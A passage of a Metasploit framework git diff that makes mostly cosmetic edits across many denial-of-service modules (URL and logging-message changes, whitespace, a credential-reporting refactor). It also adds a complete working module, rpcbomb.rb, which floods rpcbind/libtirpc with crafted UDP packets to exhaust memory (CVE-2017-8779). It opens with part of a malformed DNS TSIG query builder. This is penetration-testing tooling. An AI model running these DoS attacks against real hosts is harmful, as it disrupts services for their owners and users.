+    # Algorithm Name
+    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
+    query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
+    query << "\x00"
+
+    # Rest of TSIG
+    query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan  1, 1970 03:15:07.000000000 ART
+    query << "\x01\x2c" # Fudge: 300
+    query << "\x00\x10" # MAC Size: 16
+    query <<  Rex::Text.rand_text_alphanumeric(16) # MAC
+    query << "\x8f\x65" # Original Id: 36709
+    query << "\x00\x00" # Error: No error (0)
+    query << "\x00\x00" # Other len: 0
+  end
+
+  def get_domain
+    domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
+    org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
+    domain+org
+  end
+end
diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
index 747a378503..32fc6d76f7 100644
--- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
+++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -42,5 +39,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb
index 66f608346b..2e9512e75a 100644
--- a/modules/auxiliary/dos/hp/data_protector_rds.rb
+++ b/modules/auxiliary/dos/hp/data_protector_rds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb
index 698e318321..c40f133e30 100644
--- a/modules/auxiliary/dos/http/3com_superstack_switch.rb
+++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -45,13 +42,12 @@ class MetasploitModule < Msf::Auxiliary
 
       sock.put(sploit +"\r\n\r\n")
       disconnect
-      print_status("DoS packet unsuccessful.")
+      print_error("DoS packet unsuccessful")
     rescue ::Rex::ConnectionRefused
-      print_status("Unable to connect to #{rhost}:#{rport}.")
+      print_error("Unable to connect to #{rhost}:#{rport}")
     rescue ::Errno::ECONNRESET
-      print_status("DoS packet successful. #{rhost} not responding.")
+      print_good("DoS packet successful. #{rhost} not responding.")
     end
 
   end
-
 end
diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
index 585c0f51bc..b4b47f3d30 100644
--- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
+++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb
index b5aafaf27a..6ff3b291ad 100644
--- a/modules/auxiliary/dos/http/apache_mod_isapi.rb
+++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -91,5 +90,4 @@ class MetasploitModule < Msf::Auxiliary
     disconnect
 
   end
-
 end
diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb
index 65c1b0e431..b810110fcb 100644
--- a/modules/auxiliary/dos/http/apache_range_dos.rb
+++ b/modules/auxiliary/dos/http/apache_range_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -113,11 +112,11 @@ class MetasploitModule < Msf::Auxiliary
             "Range" => "bytes=0-#{ranges}"}},1)
 
       rescue ::Rex::ConnectionRefused
-        print_status("Unable to connect to #{rhost}:#{rport}.")
+        print_error("Unable to connect to #{rhost}:#{rport}")
       rescue ::Errno::ECONNRESET
-        print_status("DoS packet successful. #{rhost} not responding.")
+        print_good("DoS packet successful. #{rhost} not responding.")
       rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-        print_status("Couldn't connect to #{rhost}:#{rport}")
+        print_error("Couldn't connect to #{rhost}:#{rport}")
       rescue ::Timeout::Error, ::Errno::EPIPE
       end
     end
diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb
index 7c6bbba45e..8cdf354227 100644
--- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb
+++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -54,13 +53,13 @@ class MetasploitModule < Msf::Auxiliary
         sock.put(sploit + "\r\n\r\n")
         disconnect
 
-        print_status("DoS packet unsuccessful.")
+        print_error("DoS packet unsuccessful")
       rescue ::Rex::ConnectionRefused
-        print_status("Unable to connect to #{rhost}:#{rport}.")
+        print_error("Unable to connect to #{rhost}:#{rport}")
       rescue ::Errno::ECONNRESET
-        print_status("DoS packet successful. #{rhost} not responding.")
+        print_good("DoS packet successful. #{rhost} not responding.")
       rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-        print_status("Couldn't connect to #{rhost}:#{rport}")
+        print_error("Couldn't connect to #{rhost}:#{rport}")
       rescue ::Timeout::Error, ::Errno::EPIPE
       end
     end
diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb
index 7ea18c05d2..49c0b68f35 100644
--- a/modules/auxiliary/dos/http/canon_wireless_printer.rb
+++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb
index 9102d456bc..70b6bea12d 100644
--- a/modules/auxiliary/dos/http/dell_openmanage_post.rb
+++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -53,5 +50,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb
index f65072fa84..e7dbeb1a59 100644
--- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb
+++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/http/gzip_bomb_dos.rb b/modules/auxiliary/dos/http/gzip_bomb_dos.rb
index 7bc6894ab6..7f7575bdd1 100644
--- a/modules/auxiliary/dos/http/gzip_bomb_dos.rb
+++ b/modules/auxiliary/dos/http/gzip_bomb_dos.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb
index 46b9ebe3b6..d7767a76aa 100644
--- a/modules/auxiliary/dos/http/hashcollision_dos.rb
+++ b/modules/auxiliary/dos/http/hashcollision_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb
index 91423f9d3a..0bbe5142ec 100644
--- a/modules/auxiliary/dos/http/monkey_headers.rb
+++ b/modules/auxiliary/dos/http/monkey_headers.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
index 679c6f8f44..2003a9c286 100644
--- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
+++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb
index 6c010c1923..e889b7c0fe 100644
--- a/modules/auxiliary/dos/http/nodejs_pipelining.rb
+++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
index ed0ed057ff..7b6db1ec9d 100644
--- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
+++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb
index 05bff8612f..7e6c10e4b9 100644
--- a/modules/auxiliary/dos/http/rails_action_view.rb
+++ b/modules/auxiliary/dos/http/rails_action_view.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -113,6 +113,6 @@ Reproduce:
 1. Add a def index; end to ApplicationController
 2. Add an empty index.html.erb file to app/views/application/index.html.erb
 3. Uncomment the last line in routes.rb
-4. Hit /application 
-  
+4. Hit /application
+
 =end
diff --git a/modules/auxiliary/dos/http/rails_json_float_dos.rb b/modules/auxiliary/dos/http/rails_json_float_dos.rb
index 1f713ea3c9..cb42cb0f18 100644
--- a/modules/auxiliary/dos/http/rails_json_float_dos.rb
+++ b/modules/auxiliary/dos/http/rails_json_float_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
@@ -122,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
 
     return unless target_available
 
-    print_status "Target is still responsive, DoS was unsuccessful."
+    print_error "Target is still responsive, DoS was unsuccessful."
 
   end
 end
diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
index 9309545882..2e244dd9c5 100644
--- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
+++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.
 
diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb
index 7816b7fda5..a0aa35d46d 100644
--- a/modules/auxiliary/dos/http/webrick_regex.rb
+++ b/modules/auxiliary/dos/http/webrick_regex.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb
index 8c6382ffcc..9cf211e10e 100644
--- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb
+++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,43 +66,10 @@ class MetasploitModule < Msf::Auxiliary
     datastore['DEPTH']
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: opts[:ip],
-      port: opts[:port],
-      service_name: opts[:service_name],
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      origin_type: :service,
-      module_fullname: fullname,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      last_attempted_at: DateTime.now,
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      proof: opts[:proof]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def user_exists(user)
     exists = wordpress_user_exists?(user)
     if exists
-      print_good("Username \"#{username}\" is valid")
-      report_cred(
-        ip: rhost,
-        port: rport,
-        user: user,
-        service_name: (ssl ? 'https' : 'http'),
-        proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
-      )
-
+      print_good("Username \"#{user}\" is valid")
       return true
     else
       print_error("\"#{user}\" is not a valid username")
@@ -121,6 +88,7 @@ class MetasploitModule < Msf::Auxiliary
       starting_thread = 1
 
       cookie  = wordpress_login(username, password)
+      store_valid_credential(user: username, private: password, proof: cookie)
       if cookie.nil?
         print_error('Aborting operation - failed to authenticate')
         return
diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb
index 269e952795..ab84c444e7 100644
--- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb
+++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
index b7ece2d120..47ecbc4256 100644
--- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
+++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb
index 93398f7ece..0720b3844d 100644
--- a/modules/auxiliary/dos/mdns/avahi_portzero.rb
+++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb
index 6d95df21c3..3369dc1cbc 100644
--- a/modules/auxiliary/dos/misc/dopewars.rb
+++ b/modules/auxiliary/dos/misc/dopewars.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -12,8 +11,8 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'			 => 'Dopewars Denial of Service',
       'Description'	 => %q{
-          The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
-        a  lack of input validation.
+          The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to
+        a lack of input validation.
       },
       'Author'		 => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
       'License'		 => MSF_LICENSE,
diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
index 786637d03b..f938a26ee1 100644
--- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
+++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -216,7 +215,7 @@ class MetasploitModule < Msf::Auxiliary
       print_status("Unable to connect")
       return nil
     rescue ::Errno::ECONNRESET
-      print_status("DoS packet successful, host not responding.")
+      print_good("DoS packet successful, host not responding.")
       return nil
     rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
       print_status("Couldn't connect")
diff --git a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
index 849a899220..ad6b742264 100644
--- a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
+++ b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -72,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
     sock.put(p)
     print_status("Packet sent!")
   rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex
-    print_status("Exploit failed: #{ex.class} #{ex.message}")
+    print_error("Exploit failed: #{ex.class} #{ex.message}")
     elog("#{ex.class} #{ex.message}\n#{ex.backtrace * "\n"}")
   ensure
     disconnect
diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb
index c124b3a345..ef3d833595 100644
--- a/modules/auxiliary/dos/misc/memcached.rb
+++ b/modules/auxiliary/dos/misc/memcached.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb
index c92d03ce29..b96ba2b86b 100644
--- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb
+++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Scanner
 
@@ -57,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
 
     close_pcap
   end
-
 end
diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
index f0dc019dec..6aad396325 100644
--- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
+++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/rpc/rpcbomb.rb b/modules/auxiliary/dos/rpc/rpcbomb.rb
new file mode 100644
index 0000000000..6dbecfd568
--- /dev/null
+++ b/modules/auxiliary/dos/rpc/rpcbomb.rb
@@ -0,0 +1,73 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Auxiliary::Dos
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::UDPScanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'RPC DoS targeting *nix rpcbind/libtirpc',
+      'Description' => %q{
+        This module exploits a vulnerability in certain versions of
+        rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger
+        large (and never freed) memory allocations for XDR strings on
+        the target.
+      },
+      'Author'  =>
+        [
+          'guidovranken', # original code
+          'Pearce Barry <pearce_barry[at]rapid7.com>' # Metasploit module
+        ],
+      'License' => MSF_LICENSE,
+      'References' => [
+        [ 'CVE', '2017-8779' ],
+        [ 'BID', '98325' ],
+        [ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ]
+      ],
+      'Disclosure Date' => 'May 03 2017'))
+
+    register_options([
+      Opt::RPORT(111),
+      OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]),
+      OptInt.new('COUNT', [false, "Number of intervals to loop", 1000000])
+    ])
+  end
+
+  def scan_host(ip)
+    pkt = [
+      0,        # xid
+      0,        # message type CALL
+      2,        # RPC version 2
+      100000,   # Program
+      4,        # Program version
+      9,        # Procedure
+      0,        # Credentials AUTH_NULL
+      0,        # Credentials length 0
+      0,        # Credentials AUTH_NULL
+      0,        # Credentials length 0
+      0,        # Program: 0
+      0,        # Ver
+      4,        # Proc
+      4,        # Argument length
+      datastore['ALLOCSIZE'] # Payload
+    ].pack('N*')
+
+    s = udp_socket(ip, datastore['RPORT'])
+    count = 0
+    while count < datastore['COUNT'] do
+      begin
+        s.send(pkt, 0)
+      rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED
+        vprint_error("Host #{ip} unreachable")
+        break
+      end
+      count += 1
+    end
+
+    vprint_good("Completed #{count} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes on host #{ip}:#{datastore['RPORT']}")
+  end
+end
diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb
index 124a7a3eb5..81b53bbb2c 100644
--- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb
+++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
@@ -76,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb
index 5bafff09bb..fbec979d86 100644
--- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb
+++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
@@ -78,5 +75,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb
index 7057a5ee02..ea97475054 100644
--- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb
+++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,15 +111,14 @@ class MetasploitModule < Msf::Auxiliary
 
       begin
         self.simple.client.create("")
-        print_status('Server Answered, DoS unsuccessful')
+        print_error('Server Answered, DoS unsuccessful')
       rescue Timeout::Error
         print_good('Server timed out, this is expected')
         return
       rescue Rex::Proto::SMB::Exceptions::InvalidType
-        print_status('Server Answered, DoS unsuccessful')
+        print_error('Server Answered, DoS unsuccessful')
       end
       disconnect()
     end
   end
-
 end
diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb
index 0fd487dfda..92ca1889f4 100644
--- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb
+++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb
index ff04bee4d2..42ed6953dd 100644
--- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb
+++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb
@@ -1,10 +1,9 @@
 ##
